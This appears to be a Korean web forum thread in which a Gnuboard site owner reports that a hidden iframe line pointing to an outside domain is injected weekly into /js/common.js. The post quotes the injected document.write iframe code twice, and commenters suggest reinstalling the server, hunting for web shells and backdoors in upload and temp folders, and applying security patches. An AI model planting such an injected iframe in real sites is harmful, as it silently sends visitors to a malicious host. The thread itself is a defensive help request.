몇달째 악성코드와 씨름중입니다. T.T
그누보드 /js/common.js 파일 맨 상단에 항상 아래의 코드가 주말마다 삽입됩니다.
document.write("<iframe width='116' height='1' src='http://moxsl.564vejoqd.com/mb.html'></iframe>");
위의형식으로 유알엘만 변경되어서 삽입되는데요.
이거 못들어오게 하려고, ftp 주소도 매번 변경하고, 하드포맷도 하고 했는데
도저히 해결을 못해서 이제는 포기하고 매번 사이트가 안될때마다 들어가서 지우곤 합니다.
몇달째 이러고 있다가 오늘(토)은 도저히 못 참겠어서 이렇게 질문글 올려봅니다.
어떤분께서는 보안패치를 하라고 하시는데, 게시판에 하도 손댄곳이 많아서
바로 게시판을 덮어씌우지도 못하고 있습니다....
특정부분에 손봐야할곳을 구체적으로 알 수 있다면 수정해보고싶은데.... T.T
도대체 어디를 고쳐야할까요... 저놈의 지긋지긋한 악성코드를 못들어오게 하려면.... T.T
저좀 도와주세요.... T.T
document.write("<iframe width='116' height='1' src='http://moxsl.564vejoqd.com/mb.html'></iframe>");
위의형식으로 유알엘만 변경되어서 삽입되는데요.
이거 못들어오게 하려고, ftp 주소도 매번 변경하고, 하드포맷도 하고 했는데
도저히 해결을 못해서 이제는 포기하고 매번 사이트가 안될때마다 들어가서 지우곤 합니다.
몇달째 이러고 있다가 오늘(토)은 도저히 못 참겠어서 이렇게 질문글 올려봅니다.
어떤분께서는 보안패치를 하라고 하시는데, 게시판에 하도 손댄곳이 많아서
바로 게시판을 덮어씌우지도 못하고 있습니다....
특정부분에 손봐야할곳을 구체적으로 알 수 있다면 수정해보고싶은데.... T.T
도대체 어디를 고쳐야할까요... 저놈의 지긋지긋한 악성코드를 못들어오게 하려면.... T.T
저좀 도와주세요.... T.T
|
댓글을 작성하시려면 로그인이 필요합니다.
댓글 7개
아파치 새롭게 설치하세요.
그래도 안되면 서버를 새롭게 설치하세요.
방법 없습니다. <-- 결론
이미지업로드 저장되는부분이나 템프디렉토리 위주로 웹셀있는지 기타 백도어 깔린게 있는지
점검바랍니당~
여기저기 찾아서 좀 더 구체적인 방법 알아보도록 하겠습니다. T.T
의심가는 php 파일 서버 콘솔에서 검색해 보세요. 다 삭제해 주세요.
그리고 그누보드의 보안 패치 부분은 아무리 힘들어도 모두 패치하세요.
파일 비교툴을 이용하면 어렵지 않습니다.
오류 대비해서 원본 백업해 두시고 작업학세요.
관련 자료 sir 에도 있습니다.